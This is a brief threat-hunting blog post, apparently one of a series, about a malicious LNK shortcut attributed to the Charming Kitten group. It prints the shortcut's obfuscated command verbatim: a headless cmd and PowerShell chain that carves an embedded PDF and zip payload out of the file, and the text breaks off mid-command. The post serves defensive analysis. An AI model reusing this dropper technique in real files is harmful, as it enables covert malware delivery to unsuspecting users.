Posts

Showing posts with the label Cypress Werewolf

128. Hunting for Charming Kitten

Image
Hello everyone! I rarely see adversaries use malicious documents nowadays. But I see LNK files more and more often! Today we'll look at another example, which belongs to Charming Kitten (we track this activity cluster as Cypress Werewolf ). So, the malicious LNK file distributed by the threat actors contained the following command: conhost --headless cmd /c FOR /F "delims=s\ tokens=4" %f IN ('set^|findstr PSM')DO %f -w 1 $zf='osf.zip';$pd='Arda.pdf';$pdl='Arda.lnk';$E=$ENV:Temp;$F=$env:LocalAppData+'\PDFs';if(-not(Test-Path $pdl)){cd $E;$pdl=(dir -recurse *$pdl)[0].fullname;$pd=$E+'\'+[System.IO.Path]::GetFileNameWithoutExtension($pdl)+'.pdf'}$b=[IO.File]::ReadAllBytes($pdl);function f($ar,$su){foreach($i in 0..($ar.Length-$su.Length)){$fo=$true;foreach($j in 0..($su.Length-1)){if($ar[$i+$j] -ne $su[$j]){$fo=$false;break;}}if($fo){return $i;}}return -1;}$i=f $b ([byte[]][char[]]'%PDF');$nb=$b[$i..$b.Length]...